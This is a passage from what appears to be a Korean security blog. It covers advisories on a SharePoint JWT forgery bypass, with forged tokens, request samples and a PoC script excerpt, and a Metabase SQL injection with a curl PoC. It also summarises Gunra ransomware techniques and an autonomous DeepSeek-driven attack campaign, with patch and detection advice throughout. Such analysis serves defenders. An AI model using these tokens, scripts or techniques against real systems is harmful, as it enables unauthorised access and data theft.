lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose

[응답 예시]
HTTP/1.1 200 OK
...

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

 

/_ api/contextinfo 엔드포인트에 POST 요청을 보내 FormDigestValue 값 획득 및 해당 사용자로 SharePoint와 상호작용 가능

[요청 예시]
POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

[응답 예시]
HTTP/1.1 200 OK
...
{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

 

2.3 PoC

- 위조한 JWT를 이용해 대상 환경의 사용자를 확인하고, 셰어포인트 사이트 관리자 계정을 찾아내는 과정까지 자동화 [10]

# Step 1: Auto-discovery phase
print("\n[1] Auto-discovery...")

if not use_http:
    # Discover x5t, realm from STS metadata (HTTPS)
    if not all([args.x5t, args.realm]):
        print("[+] Discovering x5t and realm from STS metadata...")
        sts = discover_sts_metadata(target, port)
        if sts:
            if not args.x5t and sts.get("x5t"):
                args.x5t = sts["x5t"]
                print(f"  [*] x5t: {args.x5t}")
            if not args.realm and sts.get("realm"):
                args.realm = sts["realm"]
                print(f"  [*] realm: {args.realm}")

# Auto-SID RID iteration: find a site admin by trying RIDs
if use_sid and not args.sid and has_domain_sid:
    domain_sid = args._domain_sid

    # Build RID list: 500 first (domain admin), then 1000+ (domain users)
    rids_to_try = [500]
    rids_to_try.extend(range(1000, args.max_rid + 1))

    for rid in rids_to_try:
        sid = f"{domain_sid}-{rid}"
        user_info = check_sid_for_admin(
            args.host, args.realm, args.x5t, sid, scheme, port
        )

        if user_info:
            is_admin = user_info['is_site_admin']

            if is_admin and not site_admin:
                site_admin = user_info
                break

    if site_admin:
        args.sid = site_admin['sid']

# Determine identity mode (UPN vs SID vs default local service)
if use_upn:
    nameid = "upn_bypass"
    nii = "urn:office:idp:activedirectory"
    extra_claims = {"upn": args.upn}
elif use_sid or args.sid:
    nameid = args.sid
    nii = "urn:office:idp:activedirectory"
    extra_claims = None
else:
    nameid = "0#.w|nt authority\\local service"
    nii = "AccessToken"
    extra_claims = {"upn": "x@localhost"}

# Step 2: Forge JWT
print("\n[2] Forging JWT token...")

token = forge_jwt(args.host, args.realm, args.x5t, nameid, nii, extra_claims)

# Step 3: Get digest
print("\n[3] Obtaining form digest...")

digest = get_digest(base_url, token, args.host)

3. 대응방안

- 벤더사 제공 업데이트 적용 [11][12]

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-55040 SharePoint Enterprise Server 2016 16.0.5561.1001 미만 16.0.5561.1001
SharePoint Server 2019 16.0.10417.20175 미만 16.0.10417.20175
SharePoint Server Subscription Edition 16.0.19725.20434 미만 16.0.19725.20434

 

- 즉각적인 업데이트가 어려울 경우 권고 사항
> 인터넷에서 SharePoint에 직접 접근할 필요가 없다면 외부 접근 차단
> VPN 또는 Zero Trust Access 등을 통해 허용된 사용자만 SharePoint에 접근하도록 제한
> SharePoint/IIS 로그에서 비정상적인 인증 요청과 예상하지 못한 사용자 활동 확인
> SharePoint 서비스 계정 및 관리자 계정의 권한 최소화

4. 참고

[1] https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-55040
[3] https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/
[4] https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
[5] https://auth-wiki.logto.io/ko/claim
[6] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.validateaudience?view=msal-web-dotnet-latest
[7] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.validateissuer?view=msal-web-dotnet-latest
[8] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.requiresignedtokens?view=msal-web-dotnet-latest
[9] https://portswigger.net/kb/issues/00200901_jwt-none-algorithm-supported
[10] https://github.com/sfewer-r7/CVE-2026-55040
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
[12] https://krcert.or.kr/kr/bbs/view.do?bbsId=B0000133&menuNo=205020&nttId=72130
[13] https://dailyo.net/cve-2026-55040-sharepoint-jwt-authentication-bypass/
[14] https://www.dailysecu.com/news/articleView.html?idxno=208051

요약 - 국내 공공기관과 금융기관 등의 웹서비스에서 다수 사용되는 PC 보안·인증 모듈에서 원격코드 실행이 가능한 신규 0-Day 취약점 발견
- 악용에 성공할 경우 Watering Hole 공격으로 이어질 수 있으며, 보안상 이유로 해당 솔루션의 개발사와 제품명, 구체적인 취약점 발생 조건 및 공격 방법은 공개되지 않
내용 - 국내 공공기관과 금융기관 등의 웹서비스에서 다수 사용되는 PC 보안·인증 모듈에서 원격코드 실행이 가능신규 제로데이(0-Day) 취약점이 발견
> 해당 PC 보안모듈의 최신 버전을 분석하는 과정에서 알려지지 않은 원격코드 실행 취약점을 발견
> 보안상 이유로 해당 솔루션의 개발사와 제품명, 구체적인 취약점 발생 조건 및 공격 방법 비공개
> 공격자가 이를 악용할 경우 Watering Hole 공격으로 이어질 수 있어 사용 기관들은 각별한 주의가 요구

※ Watering Hole : 웹 사이트의 취약점을 찾아 악성코드를 심어두고, 사용자가 해당 웹 사이트를 방문할 경우 악성코드에 감염되며, 악성 링크 또는 의심스러운 첨부 파일 등을 실행하지 않고도 감염

- 해당 솔루션은 인증서 로그인과 전자서명을 지원하고, 서버와 웹브라우저 사이에서 전달되는 데이터를 암·복호화하는 웹 구간 보안 솔루션
> 사용자 신원 확인과 전자서명뿐 아니라 주요 데이터가 서버와 브라우저 사이에서 전달되는 과정에서 암호화 기능을 제공
> 이 같은 형태의 보안모듈은 주로 공공기관의 민원·행정 서비스, 금융기관의 인터넷 서비스, 대학·교육기관 등 인증서 기반의 본인확인이나 전자서명이 필요한 웹사이트에서 사용
> 특히 이용자가 해당 웹서비스를 사용하기 위해 자신의 PC에 직접 설치하는 클라이언트 프로그램이라는 점에서 취약점이 발생할 경우 영향 범위가 커질 가능성
> 공격자가 특정 서버 한 곳을 직접 공격하는 것과 달리, 웹사이트를 매개로 다수 이용자 PC를 공격 대상으로 삼을 수 있기 때문

- 해당 제품군이 과거에도 취약점을 악용한 실제 공격에 노출된 이력이 있음
> 해당 보안모듈에서는 이전에도 별도의 취약점이 발견됐으며, 최근까지 북한을 포함한 국가배후 해킹조직의 워터링홀 공격 과정에서 악용된 사례가 있음
> 당시 공격에 사용됐던 취약점은 패치가 적용되었으나, 당시 취약점과는 다른 공격 경로를 가진 별도의 취약점이 확인

- 개발사 측은 해당 문제가 이미 패치된 취약점이라는 취지로 설명
> 하지만 연구진은 이번에 발견된 취약점은 서로 다른 문제이며, 최신 버전에서도 원격코드 실행이 가능하다는 입장

- 취약점 발견 이후 연구진은 실제 공격 가능성을 분석해 해당 취약점을 이용한 공격을 탐지 및 차단할 수 있는 대응 방안을 마련
> 8월 10일까지 관련 대응 방안을 자사 솔루션을 이용하는 고객사에 배포
> 실제 공격에 악용되는 것을 막기 위해 구체적인 취약점 발생 조건과 공격코드 등 기술 정보는 공개하지 않음

- 특히 클라이언트 보안모듈은 한 번 설치된 이후 이용자가 프로그램의 존재나 버전을 인식하지 못한 채 장기간 사용하는 경우가 있어 취약점 관리가 중요
- 기업과 기관 역시 해당 유형의 보안모듈을 사용하는 PC 현황을 파악하고 비정상적인 자식 프로세스 실행이나 외부 통신 등 원격코드 실행 공격과 연관될 수 있는 행위를 모니터링할 필요
- 개발사의 정식 보안 업데이트가 배포될 경우 신속한 패치 적용 요구
기타 -

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208004

요약 - 한-미 수사기관 6개 기관은 최근 공격이 확산되고 있는 Gunra 랜섬웨어에 대해 공동 경보 발령
- 인터넷에 노출된 방화벽과 VPN 장비를 통해 침투한 뒤 NTDS 탈취, MFA 우회, SMB·RDP 횡적 이동
내용 - 한국 경찰청과 미국 FBI, CISA, NSA, DC3, USSS은 최근 공격이 확산되고 있는 Gunra 랜섬웨어에 대해 공동 경보 발령
> 8월 10일 공동 사이버보안 권고문 ‘#StopRansomware: Gunra Ransomware(AA26-222A)’ 공개
> Gunra가 정부기관과 핵심 인프라, 금융·의료·제조·운송·유통 등 다양한 조직 공격 경고
> Gunra는 데이터를 빼낸 뒤 시스템을 암호화하고, 돈을 내지 않으면 탈취 정보를 공개하는 이중 갈취 방식 사용

- FBI는 Gunra 활동을 25.04부터 관찰
> 초기에는 2022년 유출된 Conti 랜섬웨어 소스코드의 영향을 받은 형태였지만, 올해 1월부터 다크웹에서 본격적인 RaaS 사업으로 확대
> 운영진은 ‘Golden Community’라는 이름을 사용하며 침투테스터와 이른바 윤리적 해커까지 모집해 기업망 접근 권한을 확보하려 한 것으로 조사

- 공격자는 인터넷에 노출된 방화벽과 VPN 장비를 주요 진입점으로 이용
> FBI는 FortiOS·FortiProxy의 인증 우회 취약점 CVE-2024-55591CVE-2025-24472 악용 확인
> 경찰청 조사에서는 VPN 게이트웨이의 계정정보 노출SSH 접근통제 취약점기본 비밀번호 악용  

⒜ CVE-2024-55591
  - 설명 : Fortinet 제품의 대체 경로 또는 대체 채널 문제로 인해 발생하는 인증 우회 취약점 (CVSS: 9.8)
  - 영향받는 버전
    > FortiOS 7.0 : 7.0.0 이상 ~ 7.0.16 이하
    > FortiProxy : 7.2.0 이상 ~ 7.2.12 이하 / 7.0.0 이상 ~ 7.0.19 이하
  - 해결 버전
    > FortiOS 7.0 : 7.0.17 이상
    > FortiProxy : 7.2.13 이상 / 7.0.20 이상

⒝ CVE-2025-24472
  - 설명 : Fortinet 제품의 대체 경로 또는 대체 채널 문제로 인해 발생하는 인증 우회 취약점 (CVSS: 8.1)
  - 영향받는 버전
    > FortiOS 7.0 : 7.0.0 이상 ~ 7.0.16 이하
    > FortiProxy : 7.2.0 이상 ~ 7.2.12 이하 / 7.0.0 이상 ~ 7.0.19 이하
  - 해결 버전
    > FortiOS 7.0 : 7.0.17 이상
    > FortiProxy : 7.2.13 이상 / 7.0.20 이상

- 내부망 침투 후 공격은 더 위험
> 훔친 세션 정보를 이용해 VDI 환경으로 진입하고 RDP를 통해 인증 서버와 액티브 디렉터리(AD), IT 관리자 가상 데스크톱까지 이동
> Impacket의 secretsdump.py를 이용해 도메인 컨트롤러의 NTDS에서 계정 비밀번호 해시를 빼낸 뒤 Pass-the-HashPass-the-Ticket 공격으로 권한 확대
> SMB 횡적 이동에는 psexec.py, smbclient.py 등이 사용

⒜ secretsdump.py : 윈도우 시스템에서 비밀 정보와 패스워드 해시를 추출하는 도구
⒝ psexec.py : SMB와 RPC 프로토콜을 통해 원격 윈도우 시스템에 접속해 대화형 셸이나 명령을 실행 가능
⒞ smbclient.py : 대화형 SMB 클라이언트 도구로 원격 서버의 공유 폴더에 접속해 파일 목록 조회, 업로드, 다운로드, 이름 변경 등을 수행 가능

- 더 주목할 부분은 MFA 우회 방식
> 공격자는 VDI 인증 포털의 인증 처리 파일을 변조해 자신들이 지정한 특정 일회용 비밀번호를 입력하면 인증이 성공하도록 만든 사례도 확인
> 단순한 계정 탈취를 넘어 인증 시스템 자체에 지속적인 우회 통로를 만든 것

- FBI 조사
> 업무 문서와 데이터베이스, 개인정보, 내부 이메일 등을 수집하고 전용 악성코드 main.exe를 이용해 마이크로소프트 원드라이브와 쉐어포인트 데이터까지 탈취한 사실 확인
> 데이터를 압축한 뒤 Mega나 FTP를 통해 외부로 전송했으며, 한 피해 조직에서는 탈취량이 수십 테라바이트  
> 윈도우와 리눅스 시스템을 대상으로 ChaCha20과 RSA-4096을 결합한 방식으로 파일 암호화
> 윈도우에서는 .ENCRT 또는 .CRYPT, 리눅스 변종에서는 .GNRA 확장자 확인
> 복구를 막기 위해 WMI를 통해 볼륨 섀도 복사본을 삭제하며, 실제 사고에서는 주 데이터센터뿐 아니라 재해복구센터(DR)의 백업·보관 데이터까지 삭제한 사례 확인  

- 이번 권고에서 중요한 부분은 랜섬웨어 실행 파일 자체만 탐지해서는 대응이 늦을 수 있다는 점
> 공격 과정 : VPN 장악→계정·세션 탈취→AD 접근→SMB·RDP 횡적 이동→클라우드 데이터 유출→백업 제거 과정

> 따라서 기업은 인터넷에 노출된 VPN과 방화벽 취약점을 우선 패치하고, 관리자·AD 계정에 새로 생성됐거나 사용 이력이 불분명한 계정이 없는지 점검

> 특히 NTDS 접근, 비정상적인 Impacket 실행, 관리자 계정의 심야 접속, WMI를 이용한 섀도 복사본 삭제, 대량 파일 압축 후 외부 전송, OneDrive·SharePoint 비정상 접근은 높은 우선순위로 탐지할 필요

> CISA는 네트워크 분리와 최소권한 적용, MFA, 물리적으로 분리된 오프라인·불변 백업 구축 권고

- 한편 리눅스용 Gunra 일부 변종에서는 암호화 키 생성 방식의 취약점이 발견
> CISA는 .GNRA 피해가 발생한 경우 암호화 파일과 타임스탬프, 랜섬노트, 시스템 로그를 삭제하지 말고 보존하도록 권고
> 파일 시간 정보를 이용해 암호화 키를 복원할 가능성이 있기 때문
기타 -

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208010
[2] https://www.police.go.kr/user/bbs/BD_selectBbs.do?q_bbsCode=1002&q_bbscttSn=20260811091114659&q_tab=&q_searchKeyTy=&q_searchVal=&q_rowPerPage=10&q_currPage=1&q_sortName=&q_sortOrder=&
[3] https://www.cve.org/CVERecord?id=CVE-2024-55591
[4] https://www.cve.org/CVERecord?id=CVE-2025-24472
[5] https://github.com/fin3ss3g0d/secretsdump.py
[6] https://github.com/fortra/impacket/blob/master/examples/psexec.py
[7] https://github.com/fortra/impacket/blob/master/impacket/examples/smbclient.py

1. Metabase

- 다양한 데이터 소스로부터 데이터 가공 및 시각화 기능을 제공하는 오픈 소스 BI(Business Intelligence) 솔루션 [1]

※ Business Intelligence : 조직의 데이터를 수집, 저장 및 분석하여 사실에 기반한 의사결정을 내리도록 돕는 기술, 도구, 프로세스의 집합

2. 취약점

[사진 1] CVE-2026-72898 [2]

- 비밀번호 재설정 엔드포인트 /api/session/reset_password에서 요청에 포함된 user-id 값이 제거되지 않고 내부 로직으로 전달되고 데이터 타입 검증 없이 DB 쿼리에 사용되어 인증 없이 관리자 권한을 확보할 수 있는 SQL 인젝션 취약점 (CVSS: 10.0)

> 공격자는 관리자 권한을 확보한 뒤 시스템 설정 변경 또는 인증정보 탈취, 데이터 조회 및 반출 가능

영향받는 버전
Metabase
- 58.x : 58.0 ≤ 버전 < 58.23
- 59.x : 59.0 ≤ 버전 < 59.20
- 60.x : 60.0 ≤ 버전 < 60.16
- 61.x : 61.0 ≤ 버전 < 61.10
- 62.x : 62.0 ≤ 버전 < 62.8
- 63.x : 63.0 ≤ 버전 < 63.3

 

2.1 상세 분석

- 취약 버전에서는 먼저 merge()를 통해 요청 데이터와 인증 결과 맵을 병합하며, 두 번째 맵의 값이 첫 번째 맵의 값을 덮어씀
> 이때, 두 번째 맵에 동일한 키가 존재하면 두 번째 맵의 값이 사용되며, 첫 번째 맵에만 존재하는 키는 그대로 결과에 유지됨
> 인증에 실패할 경우 authentication result에 user-id가 포함되지 않으므로 요청 데이터에 포함된 user-id가 병합 과정에서 그대로 남아있게 됨

(merge request (Authentication Result)).
예시 병합 전 병합 후
Request  {
:token "...",
:password "...",
:user-id 공격자 데이터,
}
{
:token "...",
:password "...",
:user-id 공격자 데이터,
:success? false
}
 Authentication Result {
:success? false
}

 

※ Clojure의 merge()는 동일한 키가 존재할 경우 두 번째 맵의 값을 사용하며, 두 번째 맵에 해당 키가 존재하지 않으면 첫 번째 맵의 키-값이 그대로 유지됨

[사진 2] 두 번째 맵 키 값 별 merge() 결과

- 이후 파싱 과정에서 JSON 키를 Clojure의 키워드로 변환하는 과정을 거침
> 해당 변환은 일반적인 과정이나, 해당 취약점에서는 다음 공격 단계를 가능하게 만들어줌

[JSON 예시]
{"user-id": {"raw": "SQL"}}

[Clojure 예시]
{:user-id {:raw "SQL"}}

 

- Clojure에는 SQL 쿼리를 문자열 조합 대신 Clojure 데이터 구조로 작성하고 조작할 수 있게 해주는 라이브러리 HoneySQL가 존재 [4]
> HoneySQL의 :raw 표현은 해당 값을 SQL fragment로 취급하여 일반적인 파라미터 바인딩을 거치지 않고 SQL 표현식에 포함시킬 수 있음
> 공격자가 전달한 {:raw "SQL"} 형태의 user-id가 t2/select-one의 :id 값으로 전달되고 해석되면서 공격자가 제어한 SQL이 파라미터화되지 않은 형태로 쿼리에 포함되어 SQL Injection이 발생

(when-let [user-id (:user-id $)]
  (t2/select-one [:model/User ...] :id user-id))

 

- PoC 예시

curl -X POST <https://TARGET/api/session/reset_password> \
-H "Content-Type: application/json" \
-d '{"token":"x","password":"y","user-id":{"raw":"SQL_PLACEHOLDER"}}'

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5][6][7]
> 취약 버전과 패치 버전을 비교해보면, 취약 버전에서는 user-id에 대한 검증 없이 사용하였으나, 패치 버전에서는 pos-int 검증을 추가해 user-id 값이 양의 정수인지 검증하는 과정이 추가 [3]
> 따라서, {:raw "..."}와 같은 공격자 제어 map은 pos-int? 검사를 통과하지 못하고 t2/select-one에 전달되지 않음

(when-let [user-id (:user-id $)]
  -  (t2/select-one [:model/User ...] :id user-id))
  +  (if (pos-int? user-id)
  +    (t2/select-one [:model/User ...] :id user-id)
  +    (log/warnf "Provider %s returned a non-positive-int :user-id (type %s); refusing to resolve a user."
  +               provider (type user-id))))
취약점 제품명 영향받는 버전 해결 버전
CVE-2026-72898 Metabase 58.0 ≤ 버전 < 58.23 x.58.24
59.0 ≤ 버전 < 59.20 x.59.21
60.0 ≤ 버전 < 60.16 x.60.17
61.0 ≤ 버전 < 61.10 x.61.11
62.0 ≤ 버전 < 62.8 x.62.9
63.0 ≤ 버전 < 63.3 x.63.5

 

- 즉시 업그레이드가 불가할 경우 /api/session/reset_password 엔드포인트 차단

 

- 업그레이드 이후 권고 사항
① Metabase 애플리케이션 데이터베이스에서 core_session 테이블의 모든 행(row)을 삭제해 모든 활성 사용자 세션을 즉시 만료
② API 키 목록을 검토 및 인지하지 못한 키 삭제
③ 관리자 계정의 의심스러운 변경 사항 확인
④ 연결된 모든 데이터베이스의 자격 증명 교체
⑤ 데이터 웨어하우스 로그를 검토하여 무단 접근 흔적 확인
⑥ Metabase 활동 내역 및 쿼리 이력을 검토하여 예상치 못한 작업 또는 무단 작업 확인

 

- 로그 점검
> POST /api/session/reset_password 요청에서 HTTP 400 오류가 발생한 뒤,
> GET /api/user/current 요청이 HTTP 200으로 성공한 기록이 있다면 침해 가능성 존재

4. 참고

[1] https://www.metabase.com/
[2] https://www.cve.org/CVERecord?id=CVE-2026-72898
[3] https://www.wiz.io/blog/inside-the-metabase-sqli-exploited-in-the-wild
[4] https://github.com/seancorfield/honeysql
[5] https://www.metabase.com/blog/security-update
[6] https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=72157&menuNo=205020
[8] https://www.dailysecu.com/news/articleView.html?idxno=208005

요약 - 중국 APT 조직, 딥시크 모델을 변형 및 학습시켜 타깃 시스템의 취약점을 탐색하고 성공 확률이 높은 공격 백터로 침투를 실행하는 자율형 AI 기반 사이버 공격 전개
- 침투 경로가 기존 보안 솔루션에 의해 차단될 경우 스스로 새로운 우회 경로를 탐색하고 공격 코드를 수정하는 등 고도화된 적응력을 보임
내용 - 팔로알토 인텔리전스 연구팀 Unit 42, AI 악용한 차세대 사이버 공격 캠페인 분석 보고서 공개
> 중국을 기반 APT 조직이 주도한 것으로, 최신 AI 모델 DeepSeek를 무기화해 해킹 도구로 사용
> 기존 악성 스크립트 자동화를 넘어 AI가 스스로 판단하고 행동하는 ‘자율형 AI’(Autonomous AI) 기반의 사이버 공격 전개
> 딥시크 모델을 변형 및 학습시켜 타깃 시스템의 취약점을 스스로 탐색하고 가장 성공 확률이 높은 공격 벡터를 선정해 침투를 실행하도록 아키텍처를 설계
> 특히 침투 경로가 기존 보안 솔루션에 의해 차단될 경우 스스로 새로운 우회 경로를 탐색하고 공격 코드를 실시간으로 수정하는 등 고도화된 적응력을 보임

① 1단계 : Langflow 취약점 CVE-2026-33017 악용
- /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트가 인증 없이 public flow를 빌드할 수 있고, data 매개변수로 전달된 공격자 제어 Python 코드가 exec()로 실행되어 원격 코드 실행이 가능한 취약점 (CVSS: 9.3)
- 영향받는 버전 : Langflow 1.8.2 이하 버전
- 해결 버전 : Langflow 1.9.0 이상 버전

② 2단계 : 자율적인 CVE 연구 및 목표 선정
- CVE-2026-33017 악용에 실패할 경우 FOFA를 통해 10개 제품군의 배포 수 조사 후 GitHub에서 별점 순으로 정렬된 인기 있는 2026 CVE PoC 저장소 검색
- DeepSeek은 각 후보를 심각도, 배포 규모 및 악용 가능성을 기준으로 평가한 후 n8n 선택

③ 3단계 : n8n 취약점 CVE-2026-21858, CVE-2025-68613 악용
- CVE-2026-21858
> Content-Type 값을 검증하지 않고 신뢰하여 파싱 로직을 분기하는 설계로 인해, req.body.files 내 파일 경로 조작이 가능해지며 발생하는 임의 파일 읽기 취약점 (CVSS: 10.0)
> 영향받는 버전 : n8n 1.65.0 이하 버전
> 해결 버전 : n8n 1.121.0 이상 버전

-
CVE-2025-68613
> n8n 워크플로우 실행 과정에서 사용자 입력이 포함된 표현식을 평가하는 로직이 충분히 격리되지 않아 워크플로우 생성 또는 수정 권한을 가진 인증된 사용자가 원격 코드 실행이 가능한 취약점 (CVSS: 8.8)

> 영향받는 버전 : n8n 0.211.0 이상 ~ 1.120.3 이하 (일부 1.121.x 및 1.122.0 이전 릴리스 포함)
> 해결 버전 : n8n 1.120.4 / 1.121.1 / 1.122.0 이상

④ 4단계 : n8n 표적 열거 및 공격

⑤ 수동 캠페인
- 자율AI 캠페인과 별도로 기존 워크플로(FOFA 열거, 맞춤형 Python 스캐너 및 직접 공격)를 사용하여 수동 작업을 수행

- Citrix NetScaler 취약점 CVE-2026-3055 : 불충분한 입력값 검증으로 인해 발생하는 메모리 과다 읽기 취약점 (CVSS: 9.3)
> 영향받는 버전 : 
  NetScaler ADC 및 NetScaler Gateway 14.1-60.58 이전, 13.1-62.23 이전
  NetScaler ADC FIPS 버전: 13.1-37.262 미만
  NetScaler ADC NDcPP 버전: 13.1-37.262 미만
> 해결 버전 : 
  NetScaler ADC 및 NetScaler Gateway 14.1-60.58 이상, 13.1-62.23 이상
  NetScaler ADC FIPS 버전: 13.1-37.262 이상
  NetScaler ADC NDcPP 버전: 13.1-37.262 이상

- marimo 취약점 CVE-2026-39987 : Terminal WebSocket 엔드포인트 /terminal/ws의 인증 누락으로 인증을 우회하여 권한 없이 원격에서 코드를 실행할 수 있는 Pre-Auth 취약점 (CVSS: 9.8)
> 영향받는 버전 : marimo 0.20.4 이하
> 해결 버전 : marimo 0.23.0

- Apache Tomcat 취약점 CVE-2026-34486 : 민감 데이터의 암호화 누락으로 EncryptInterceptor를 우회 가능 (CVSS: 7.5)
> 영향받는 버전 : Apache Tomcat 11.0.20, 10.1.53, 9.0.116
> 해결 버전 : Apache Tomcat 11.0.21, 10.1.54, 9.0.117 

- MS 취약점 CVE-2026-33824 : Windows IKE Extension 컴포넌트의 Double Free (이중 해제)로 인한 원격 코드 실행 (CVSS: 9.8)
> 영향받는 버전 및 해결 버전 : 26.04 MS 정기 보안 업데이트 권고 참고
기타 - 기존 해킹 그룹들이 AI를 피싱 이메일 작성, 코드 검수 등 보조적인 도구로만 활용하는 단계를 벗어남
> 본격적인 AI vs AI 구도의 자율형 사이버전 시대로 진입

- 자율형 AI 공격은 인간 해커의 개입 없이 24시간 내내 멈추지 않고 타깃 인프라 공략 가능
> 방어자에게 극심한 리소스 소모 유발

- 기업의 방어 체계 역시 인공지능을 기반으로 한 24시간 자동화된 탐지 및 복원력을 최우선으로 갖춰야 함

 

보안뉴스

[1] https://www.boannews.com/media/view.asp?idx=145024&page=1&kind=4
[2] https://www.boannews.com/media/view.asp?idx=145039&page=1&kind=1
[3] https://unit42.paloaltonetworks.com/autonomous-ai-cyber-attack-campaign/
[4] https://nvd.nist.gov/vuln/detail/CVE-2026-33017
[5] https://nvd.nist.gov/vuln/detail/CVE-2026-21858
[6] https://nvd.nist.gov/vuln/detail/CVE-2025-68613
[7] https://nvd.nist.gov/vuln/detail/CVE-2026-3055
[8] https://nvd.nist.gov/vuln/detail/CVE-2026-39987
[9] https://nvd.nist.gov/vuln/detail/cve-2026-34486
[10] https://nvd.nist.gov/vuln/detail/CVE-2026-33824
[11] https://msrc.microsoft.com/update-guide/releaseNote/2026-Apr

1. Rails

- 오픈소스 웹 애플리케이션 프레임워크 [1][2]
- Active Storage : Rails에 기본 포함된 파일 첨부·저장 기능

2. 취약점

[사진 1] CVE-2026-66066 [3]

- Active Storage가 신뢰할 수 없는 업로드 파일을 이미지 처리 라이브러리 libvips에 전달하면서 안전하지 않은 로더를 차단하지 않아, 임의 파일을 읽어 secret_key_base 등 자격 증명을 탈취하고 이를 악용해 원격 코드 실행으로 확장할 수 있는 취약점 [4][5][6][7]
> Active Storage가 variant_processor = :vips를 사용할 경우 해당 취약점에 영향 받음
> 공격자는 이미지로 위장한 조작된 MAT/HDF5 파일을 업로드해 서버의 임의 파일에서 Rails의 핵심 암호키 secret_key_base를 비롯한 데이터베이스 접속 정보, 클라우드 스토리지 인증정보, API 키 등 민감 정보 탈취
> 탈취한 secret_key_base를 악용해 세션 쿠키 위조하여 인증 정보를 조작해 최종적으로 서버에서 원격 코드 실행으로 확장 가능

영향받는 버전
- Rails 8.1.3.1 이전 버전
- Rails 8.0.5.1 이전 버전
- Rails 7.2.3.2 이전 버전

 

2.1 상세 분석

① Direct upload 엔드포인트 악용

- Direct upload 엔드포인트는 파일의 메타데이터를 받아 Blob 레코드로 저장
> (1)(2) filename, byte_size, checksum, content_type, metadata를 추출하고 (3) Blob 레코드를 생성
